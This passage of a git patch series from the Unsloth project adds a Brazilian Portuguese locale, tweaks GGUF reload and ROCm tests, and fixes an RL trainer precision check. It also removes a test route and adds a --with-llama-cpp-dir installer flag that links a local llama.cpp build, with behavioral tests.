index ef58ca23fe..23db2ce326 100644
--- a/studio/frontend/src/i18n/messages.ts
+++ b/studio/frontend/src/i18n/messages.ts
@@ -4,19 +4,26 @@
 import { getLocale } from "./locale-store";
 import { en } from "./locales/en";
 import { zhCN } from "./locales/zh-CN";
+import { ptBR } from "./locales/pt-br";
 import { ja } from "./locales/ja";
 import type { InterpolationValues, MessageKey } from "./types";
 
 export const LOCALES = {
   en: { label: "English", nativeLabel: "English" },
   "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" },
-  ja: { label: "Japanese", nativeLabel: "日本語" },
+  "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" },
+  "ja": { label: "Japanese", nativeLabel: "日本語" },
 } as const;
 
 export type Locale = keyof typeof LOCALES;
 export type TranslationKey = MessageKey<typeof en>;
 
-export const messages = { en, "zh-CN": zhCN, ja } as const;
+export const messages = { 
+  en, 
+  "zh-CN": zhCN,
+  "pt-BR": ptBR,
+  ja
+} as const;
 
 const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g;
 
@@ -75,4 +82,4 @@ export function isSupportedLocale(value: unknown): value is Locale {
     typeof value === "string" &&
     Object.prototype.hasOwnProperty.call(LOCALES, value)
   );
-}
+}
\ No newline at end of file
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 4c50fa1c8e..092e1803f8 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1473,12 +1473,14 @@ class TestHardwareAmdBranching:
         assert "from . import amd" in source
 
     def test_hardware_branches_on_is_rocm_for_utilization(self):
-        """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
+        """get_gpu_utilization dispatches visible metrics through amd.py on ROCm."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
-        assert '_smi_query("get_primary_gpu_utilization"' in func_body
+        assert "_smi_query(" in func_body
+        assert '"get_visible_gpu_utilization"' in func_body
+        assert "_reconcile_rocm_unified_memory" in func_body
         smi = source[
             source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1)
         ]
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index 0843a2b447..7a63dcfb85 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -565,30 +565,50 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
         raise SystemExit(f"no .gguf files in {save_dir}")
     gguf_path = gguf_files[0]
 
+    # This is a save/reload-integrity smoke; a few generated tokens are enough.
+    # Keep llama.cpp bounded on macOS runners where BF16 GGUF decode is CPU-bound.
+    n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8")
+    n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4))
+    reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420"))
+
     with Phase("reload_gguf", metrics):
-        proc = subprocess.run(
-            [
-                str(llama_cli),
-                "-m",
-                str(gguf_path),
-                "-p",
-                PROMPT,
-                "-n",
-                "24",
-                "--temp",
-                "0",
-                "--seed",
-                str(SEED),
-                "-no-cnv",
-                "--no-warmup",
-            ],
-            capture_output = True,
-            text = True,
-            timeout = 300,
-            # Hand llama-cli an immediate EOF; without it -no-cnv can still leave the
-            # process blocked reading stdin, which times out instead of generating.
-            stdin = subprocess.DEVNULL,
-        )
+        argv = [
+            str(llama_cli),
+            "-m",
+            str(gguf_path),
+            "-p",
+            PROMPT,
+            "-n",
+            n_predict,
+            "-t",
+            n_threads,
+            "--temp",
+            "0",
+            "--seed",
+            str(SEED),
+            "-c",
+            "256",
+            "--no-warmup",
+        ]
+        try:
+            proc = subprocess.run(
+                argv,
+                capture_output = True,
+                text = True,
+                timeout = reload_timeout,
+                # Newer llama.cpp keeps llama-cli in chat mode; exit after one reply.
+                input = "/exit\n",
+            )
+        except subprocess.TimeoutExpired as exc:
+
+            def _decode(stream) -> str:
+                if isinstance(stream, bytes):
+                    return stream.decode("utf-8", errors = "replace")
+                return stream or ""
+
+            print(f"  [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True)
+            print(f"  [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True)
+            raise
 
     metrics["llama_cli_returncode"] = proc.returncode
     metrics["generation"] = (proc.stdout or "")[:1500]

From d33a7a7a1a536fea1b14af26652ac8e4e4de096d Mon Sep 17 00:00:00 2001
From: Ayushman <139611211+InfoSage05@users.noreply.github.com>
Date: Fri, 3 Jul 2026 00:11:10 +0530
Subject: [PATCH 179/306] Fix: skip fp16/bf16 validation for full finetuning in
 RL trainers (#6813)

---------

Co-authored-by: Ayushman Paul <ayushman@HP>
---
 unsloth/models/rl.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 53668d14d8..602de69d3f 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -1015,6 +1015,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "dtype = _get_dtype(dtype)\n"
             "float16 = dtype == torch.float16\n"
             "bfloat16 = dtype == torch.bfloat16\n"
+            "if full_finetuning:\n"
+            "    if bfloat16 and use_fp16: use_fp16 = False\n"
+            "    if float16 and use_bf16: use_bf16 = False\n"
             "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n"
             "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
             "if force_float32:\n"

From 2bfeb47c92201ebb1c9ab304130f03e3f5e6f092 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 2 Jul 2026 11:49:56 -0700
Subject: [PATCH 180/306] studio/frontend: drop developer-only /grid-test route
 (#5662)

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 studio/frontend/src/app/router.tsx           |  2 -
 studio/frontend/src/app/routes/grid-test.tsx | 69 --------------------
 2 files changed, 71 deletions(-)
 delete mode 100644 studio/frontend/src/app/routes/grid-test.tsx

diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx
index 5c18e637e2..586c03d5df 100644
--- a/studio/frontend/src/app/router.tsx
+++ b/studio/frontend/src/app/router.tsx
@@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes";
 import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId";
 import { Route as chatRoute } from "./routes/chat";
 import { Route as exportRoute } from "./routes/export";
-import { Route as gridTestRoute } from "./routes/grid-test";
 import { Route as indexRoute } from "./routes/index";
 import { Route as loginRoute } from "./routes/login";
 import { Route as hubRoute } from "./routes/hub";
@@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([
   onboardingRoute,
   loginRoute,
   changePasswordRoute,
-  gridTestRoute,
   hubRoute,
   settingsRoute,
   studioRoute,
diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx
deleted file mode 100644
index c4b6b505a1..0000000000
--- a/studio/frontend/src/app/routes/grid-test.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { DashboardGrid, DashboardLayout } from "@/components/layout";
-import {
-  Card,
-  CardContent,
-  CardDescription,
-  CardHeader,
-  CardTitle,
-} from "@/components/ui/card";
-import { createRoute } from "@tanstack/react-router";
-import { requireAuth } from "../auth-guards";
-import { Route as rootRoute } from "./__root";
-
-export const Route = createRoute({
-  getParentRoute: () => rootRoute,
-  path: "/grid-test",
-  beforeLoad: () => requireAuth(),
-  component: GridTestPage,
-});
-
-function GridTestPage() {
-  return (
-    <DashboardLayout>
-      <div className="space-y-8">
-        <div>
-          <h1 className="text-2xl font-semibold">Grid Test - 3 Columns</h1>
-          <p className="text-muted-foreground">
-            max-w-7xl, gap-6, responsive 1→2→3
-          </p>
-        </div>
-
-        <DashboardGrid cols={3}>
-          {[1, 2, 3].map((i) => (
-            <Card key={i}>
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>~400px at 1280px viewport</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-24 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-
-        <div>
-          <h2 className="text-xl font-semibold">4 Columns</h2>
-          <p className="text-muted-foreground">~296px per card at 1280px</p>
-        </div>
-
-        <DashboardGrid cols={4}>
-          {[1, 2, 3, 4].map((i) => (
-            <Card key={i} size="sm">
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>Smaller cards</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-16 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-      </div>
-    </DashboardLayout>
-  );
-}

From 73e8245ee857b0afa7750870896662bd1ee5dcee Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Thu, 2 Jul 2026 16:11:20 -0500
Subject: [PATCH 181/306] [Studio] Add --with-llama-cpp-dir installer flag to
 reuse a local llama.cpp (#6472)

* Add --with-llama-cpp-dir flag to install.ps1 and install.sh

Users can now pass --with-llama-cpp-dir /path/to/llama.cpp to the
installer to skip downloading or building llama.cpp and use a local
directory instead. A junction (Windows) or symlink (Linux/macOS) is
created at the canonical install location, bypassing both the prebuilt
download (Phase 3) and source build (Phase 4) steps in setup.ps1/setup.sh.

The path is passed via UNSLOTH_LOCAL_LLAMA_CPP_DIR env var which
setup.ps1 and setup.sh read directly.

Ported from the idea in unslothai/unsloth#4384, reimplemented against
current Studio architecture.

* test: add static wiring test for --with-llama-cpp-dir flag

Cross-checks install.sh, install.ps1, studio/setup.sh and studio/setup.ps1
so the flag's contract (parse -> UNSLOTH_LOCAL_LLAMA_CPP_DIR env var -> link
local dir, skip prebuilt download and source build) can't silently regress.
Wired into studio-backend-ci.yml alongside the other tests/sh installer tests.

* Address review feedback on --with-llama-cpp-dir flag

- setup.ps1: delete an existing junction/symlink via DirectoryInfo.Delete()
  instead of a recursive remove, which can traverse the link and wipe the
  user's real llama.cpp directory on PowerShell 5.1.
- setup.ps1: short-circuit the build chain when a local dir is linked so CMake
  never runs inside the user's checkout when it lacks a Windows-layout binary.
- install.sh / setup.sh: resolve paths with CDPATH= cd -P so a set CDPATH
  cannot corrupt the resolved path.
- install.sh: seed _WITH_LLAMA_CPP_DIR from UNSLOTH_LOCAL_LLAMA_CPP_DIR so an
  exported env var (piped-install style) is honored instead of being clobbered.
- setup.sh: create the root llama-quantize shim when linking a local source
  build so GGUF export's check_llama_cpp() still finds it.
- setup.sh / setup.ps1: drop a stale link before the custom-home ownership
  assert so re-runs with the flag stay idempotent.
- test: pin the new linked-dir build short-circuit.

* Harden --with-llama-cpp-dir against Codex/Gemini review findings

- install.sh: error when --with-llama-cpp-dir is the final arg with no path,
  matching the existing --package/--python post-loop guards (was a silent
  fallback to the normal prebuilt/source install).
- studio/setup.sh: canonicalize LLAMA_CPP_DIR before the self-link no-op
  compare. _RESOLVED_LOCAL is fully resolved while LLAMA_CPP_DIR was textual,
  so a symlinked $HOME made the guard miss and the rm -rf could wipe the
  user's real llama.cpp tree.
- studio/setup.sh: make the llama-quantize shim non-fatal; it writes through
  the link into the user's tree, which may be read-only (shared/CI cache),
  and under set -e a failed ln aborted an otherwise-good reuse.
- studio/setup.ps1: detect a broken junction via Get-Item -Force instead of
  Test-Path so a dangling link from a prior run is removed and mklink can
  relink to a new valid directory.
- studio/setup.ps1: use Copy-Item -LiteralPath so a source path containing
  [ ] isn't treated as a wildcard in the junction copy fallback.
- tests: update the wiring assertions for the LiteralPath copy and the
  canonicalized compare.

* Validate/reuse local llama.cpp tree and guard the in-use case

Addresses the second Codex pass on the --with-llama-cpp-dir flag:

- Validate the linked tree before disabling installs (setup.sh + setup.ps1):
  reusing a local dir skips BOTH the prebuilt download and the source build,
  so the dir must already contain a runnable llama-server (build/bin on
  Linux/macOS, build\bin\Release\llama-server.exe on Windows). Bail out with a
  clear message instead of linking an unbuilt/wrong-platform checkout and
  leaving Studio with no usable binary.
- Treat a canonical-path target as already linked when it holds a build
  (setup.sh + setup.ps1): point the flag at ~/.unsloth/llama.cpp itself and an
  existing build is reused (skip prebuilt + source) rather than clobbered by
  the staged prebuilt installer (which uses os.replace()/replace). An empty
  canonical dir still falls through to the normal in-place install.
- Abort when an in-use llama.cpp can't be removed on Windows (setup.ps1):
  Remove-Item -ErrorAction SilentlyContinue can silently leave a locked tree
  in place; detect that and stop with the same active-process message + exit 3
  the prebuilt path uses, instead of junctioning over a half-present dir.

Left as follow-up (already tracked by the PR author as a non-blocker): the
in-app "Update llama.cpp" updater does not yet recognize a local-link install
as externally managed; that fix belongs in studio/backend/utils/llama_cpp_update.py.

* Accept all backend llama-server layouts in --with-llama-cpp-dir validation

The linked-tree validation only accepted build/bin[/Release]/llama-server, but
LlamaCppBackend._layout_candidates() resolves a root-level llama-server first,
then build/bin, then build/bin/Release on Windows. A `make` build or a flat
release extract (binary at the dir root) was therefore rejected with a hard
installer failure even though Studio would have run it.

Validate the same candidate set the backend uses in both setup scripts, and add
wiring-test assertions so the check can't silently narrow again.

* Treat --with-llama-cpp-dir local links as externally managed

A --with-llama-cpp-dir install junctions/symlinks the canonical llama.cpp dir to
the user's own checkout, but two backend paths still treated it as a Studio-owned
tree:

- The in-app updater (llama_cpp_update) offered and could apply an official
  prebuilt over the link, writing through it into the user's checkout (or
  failing) and silently dropping the link the flag created.
- Orphan cleanup (LlamaCppBackend._kill_orphaned_servers) resolved the linked
  root into its kill allowlist, so a llama-server the user launched from the same
  checkout was classified as ours and killed on startup.

Detect the canonical dir being a symlink/junction (reparse point) and treat the
install as unmanaged: get_update_status reports unsupported, start_update refuses
with reason "local_link", and the linked root is left out of the orphan
allowlist. Adds behavioral tests (link vs plain dir, updater refusal, and the
spared-vs-killed orphan control).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add behavioral shell test for --with-llama-cpp-dir linking

The existing tests/sh/test_with_llama_cpp_dir_flag.sh is a static grep of the
scripts. This adds a behavioral test that extracts the real link block from
studio/setup.sh (by content anchors, with a self-validating extraction) and runs
it against hermetic fake dirs, asserting the outcomes that matter:

- an external CMake build links and arms neither the prebuilt download nor the
  source build
- a flat / make tree (root-level llama-server, no build/bin) is accepted too
- an unbuilt tree is rejected with a non-zero exit and no link left behind
- relinking over a stale link preserves the target's contents (no data loss)
- pointing at the canonical path is a no-op reuse, not a self-referential link

Symlink-identity checks run only where real symlinks exist (skipped on Windows
git-bash copy-mode); the link/skip/no-data-loss checks run everywhere. Wired into
studio-backend-ci.yml next to the static test.

* Install psutil in backend CI so orphan-cleanup tests run

The new orphan-cleanup tests import psutil for the process scan, but the Backend
CI deps step installed studio.txt plus a fixed extras list that omits it, so the
two tests failed with ModuleNotFoundError. Add psutil to both backend pytest dep
steps (kept in shared shape), and guard the import with pytest.importorskip so a
minimal env without psutil skips these tests instead of erroring.

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/studio-backend-ci.yml       |  11 +-
 install.ps1                                   |  17 ++
 install.sh                                    |  24 +++
 studio/backend/core/inference/llama_cpp.py    |  26 +++
 .../tests/test_local_llama_cpp_link.py        | 137 ++++++++++++++
 studio/backend/utils/llama_cpp_update.py      |  75 ++++++++
 studio/setup.ps1                              |  92 +++++++++-
 studio/setup.sh                               |  85 ++++++++-
 tests/sh/test_with_llama_cpp_dir_flag.sh      | 172 ++++++++++++++++++
 .../test_with_llama_cpp_dir_link_behavior.sh  | 132 ++++++++++++++
 10 files changed, 763 insertions(+), 8 deletions(-)
 create mode 100644 studio/backend/tests/test_local_llama_cpp_link.py
 create mode 100644 tests/sh/test_with_llama_cpp_dir_flag.sh
 create mode 100644 tests/sh/test_with_llama_cpp_dir_link_behavior.sh

diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index bce355458a..3022127a2b 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -68,9 +68,10 @@ jobs:
           pip install -r studio/backend/requirements/studio.txt
           # Extras that studio.txt does not list but the import chain needs
           # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
-          #  for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
+          #  for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
+          #  the orphan-cleanup process scan, etc.):
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests \
             'numpy<3' pytest pytest-asyncio httpx
           # Torch CPU + transformers are required by a chunk of the backend test
@@ -133,7 +134,7 @@ jobs:
           python -m pip install --upgrade pip
           pip install -r studio/backend/requirements/studio.txt
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests typer \
             'numpy<3' pytest pytest-asyncio httpx
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
@@ -229,7 +230,9 @@ jobs:
               tests/sh/test_resolve_cuda_archs.sh \
               tests/sh/test_tauri_install_exit_order.sh \
               tests/sh/test_torch_constraint.sh \
-              tests/sh/test_torch_flavor.sh; do
+              tests/sh/test_torch_flavor.sh \
+              tests/sh/test_with_llama_cpp_dir_flag.sh \
+              tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
               echo "::group::$s"
               bash "$s"
               echo "::endgroup::"
diff --git a/install.ps1 b/install.ps1
index f7f9540970..8c667df079 100644
--- a/install.ps1
+++ b/install.ps1
@@ -99,6 +99,7 @@ function Install-UnslothStudio {
     $TauriMode = $false
     $SkipTorch = $false
     $ShortcutsOnly = $false
+    $WithLlamaCppDir = ""
     $argList = $args
     for ($i = 0; $i -lt $argList.Count; $i++) {
         switch ($argList[$i]) {
@@ -116,6 +117,14 @@ function Install-UnslothStudio {
                 }
                 $PackageName = $argList[$i]
             }
+            "--with-llama-cpp-dir" {
+                $i++
+                if ($i -ge $argList.Count) {
+                    Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
+                    return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
+                }
+                $WithLlamaCppDir = $argList[$i]
+            }
         }
     }
 
@@ -2430,6 +2439,13 @@ exit 0
     }
     $studioArgs = @('studio', 'setup')
     if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
+    if ($WithLlamaCppDir) {
+        if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
+            Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
+            return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
+        }
+        $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
+    }
     $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
     # Hand the venv interpreter to setup.ps1 so it reuses the Python we already
     # resolved and built the venv with, instead of re-probing the system (which
@@ -2445,6 +2461,7 @@ exit 0
         } else {
             Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
         }
+        Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
     }
diff --git a/install.sh b/install.sh
index 7a9f0be87f..0370559540 100755
--- a/install.sh
+++ b/install.sh
@@ -53,6 +53,11 @@ _VERBOSE=false
 _SHORTCUTS_ONLY=false
 _next_is_package=false
 _next_is_python=false
+_next_is_llama_cpp_dir=false
+# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
+# (the documented piped-install style) is honored; the --with-llama-cpp-dir
+# flag below overrides it when given.
+_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
 for arg in "$@"; do
     if [ "$_next_is_package" = true ]; then
         PACKAGE_NAME="$arg"
@@ -64,6 +69,11 @@ for arg in "$@"; do
         _next_is_python=false
         continue
     fi
+    if [ "$_next_is_llama_cpp_dir" = true ]; then
+        _WITH_LLAMA_CPP_DIR="$arg"
+        _next_is_llama_cpp_dir=false
+        continue
+    fi
     case "$arg" in
         --local) STUDIO_LOCAL_INSTALL=true ;;
         --package) _next_is_package=true ;;
@@ -72,6 +82,7 @@ for arg in "$@"; do
         --no-torch) _NO_TORCH_FLAG=true ;;
         --verbose|-v) _VERBOSE=true ;;
         --shortcuts-only) _SHORTCUTS_ONLY=true ;;
+        --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
     esac
 done
 
@@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then
     echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
     exit 1
 fi
+if [ "$_next_is_llama_cpp_dir" = true ]; then
+    echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
+    exit 1
+fi
 
 # Validate --package to prevent injection into shell/Python commands.
 # Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@@ -3023,6 +3038,13 @@ _run_setup_with_studio_home() {
         "$@"
     fi
 }
+if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
+    if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
+        echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
+        exit 1
+    fi
+    _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
+fi
 if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     _run_setup_with_studio_home env \
     SKIP_STUDIO_BASE="$_SKIP_BASE" \
@@ -3031,6 +3053,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     STUDIO_LOCAL_INSTALL=1 \
     STUDIO_LOCAL_REPO="$_REPO_ROOT" \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 else
     # Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@@ -3045,6 +3068,7 @@ else
     STUDIO_LOCAL_INSTALL=0 \
     STUDIO_LOCAL_REPO= \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 fi
 
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index af62a29679..8b984c0bfe 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1223,6 +1223,25 @@ def _backfill_usage_from_timings(usage, timings):
     return out
 
 
+def _is_external_link(path: Path) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, which Studio does not own."""
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
 class LlamaCppBackend:
     """Manages a llama-server subprocess for GGUF model inference.
 
@@ -7166,6 +7185,13 @@ class LlamaCppBackend:
             resolved_roots: list[Path] = []
             for root in install_roots:
                 try:
+                    # A --with-llama-cpp-dir local link (symlink/junction)
+                    # resolves into the user's own checkout. Adding it would let
+                    # us treat the user's externally-launched llama-server as our
+                    # orphan and kill it, so leave such roots out of the
+                    # allowlist (we forgo orphan-reaping for local-link installs).
+                    if _is_external_link(root):
+                        continue
                     resolved_roots.append(root.resolve())
                 except OSError:
                     pass
diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py
new file mode 100644
index 0000000000..c78c029d91
--- /dev/null
+++ b/studio/backend/tests/test_local_llama_cpp_link.py
@@ -0,0 +1,137 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract.
+
+When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a
+user's own checkout, Studio must treat it as externally managed:
+  - the in-app updater must not offer or apply a prebuilt over the link
+  - orphan cleanup must not kill a llama-server the user launched from that tree
+
+These exercise real link behavior rather than grepping the scripts.
+"""
+
+import os
+import subprocess
+from pathlib import Path
+
+import pytest
+
+from utils import llama_cpp_update as u
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+def _make_link(link: Path, target: Path) -> None:
+    """Create a directory junction (Windows) / symlink (POSIX); neither needs
+    elevation."""
+    target.mkdir(parents = True, exist_ok = True)
+    if os.name == "nt":
+        subprocess.run(
+            ["cmd", "/c", "mklink", "/J", str(link), str(target)],
+            check = True,
+            capture_output = True,
+            text = True,
+        )
+    else:
+        link.symlink_to(target, target_is_directory = True)
+
+
+def _server_subpath() -> Path:
+    return Path(
+        "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server"
+    )
+
+
+class _FakeProc:
+    def __init__(self, pid: int, exe: str) -> None:
+        self.info = {"pid": pid, "name": "llama-server", "exe": exe}
+        self.killed = False
+
+    def kill(self) -> None:
+        self.killed = True
+
+
+def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None:
+    plain = tmp_path / "plain"
+    plain.mkdir()
+    assert u._is_external_link(plain) is False
+
+    link = tmp_path / "link"
+    _make_link(link, tmp_path / "tgt")
+    assert u._is_external_link(link) is True
+
+
+def test_active_install_is_local_link(tmp_path: Path) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    binary = str(link / _server_subpath())
+    assert u._active_install_is_local_link(binary) is True
+
+    # A plain (non-link) llama.cpp dir is Studio-managed, not a local link.
+    plain = tmp_path / "plain" / "llama.cpp"
+    plain.mkdir(parents = True)
+    assert u._active_install_is_local_link(str(plain / _server_subpath())) is False
+
+
+def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    st = u.get_update_status()
+    assert st["supported"] is False
+    assert st["update_available"] is False
+    assert st["local_link"] is True
+
+
+def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    res = u.start_update()
+    assert res["started"] is False
+    assert res["reason"] == "local_link"
+
+
+def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int:
+    # psutil drives the cross-platform process scan; skip (rather than error) if a
+    # minimal test env lacks it. CI installs it so these tests actually run.
+    psutil = pytest.importorskip("psutil")
+
+    monkeypatch.setattr(
+        LlamaCppBackend,
+        "_resolved_studio_root_and_is_legacy",
+        staticmethod(lambda: (studio_root.resolve(), False)),
+    )
+    monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0))
+    monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake]))
+    return LlamaCppBackend._kill_orphaned_servers()
+
+
+def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None:
+    studio_root = tmp_path / "studio-home"
+    studio_root.mkdir()
+    external = tmp_path / "external"
+    (external / _server_subpath().parent).mkdir(parents = True)
+    (external / _server_subpath()).write_text("x")
+    _make_link(studio_root / "llama.cpp", external)
+
+    exe_under_link = str((external / _server_subpath()).resolve())
+    fake = _FakeProc(os.getpid() + 777, exe_under_link)
+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 0
+    assert fake.killed is False
+
+
+def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None:
+    # Control: a real (non-link) managed root still gets its orphan reaped, so
+    # the spare-the-link test above is meaningful (not a no-op).
+    studio_root = tmp_path / "studio-home"
+    bin_dir = studio_root / "llama.cpp" / _server_subpath().parent
+    bin_dir.mkdir(parents = True)
+    exe = studio_root / "llama.cpp" / _server_subpath()
+    exe.write_text("x")
+
+    fake = _FakeProc(os.getpid() + 888, str(exe.resolve()))
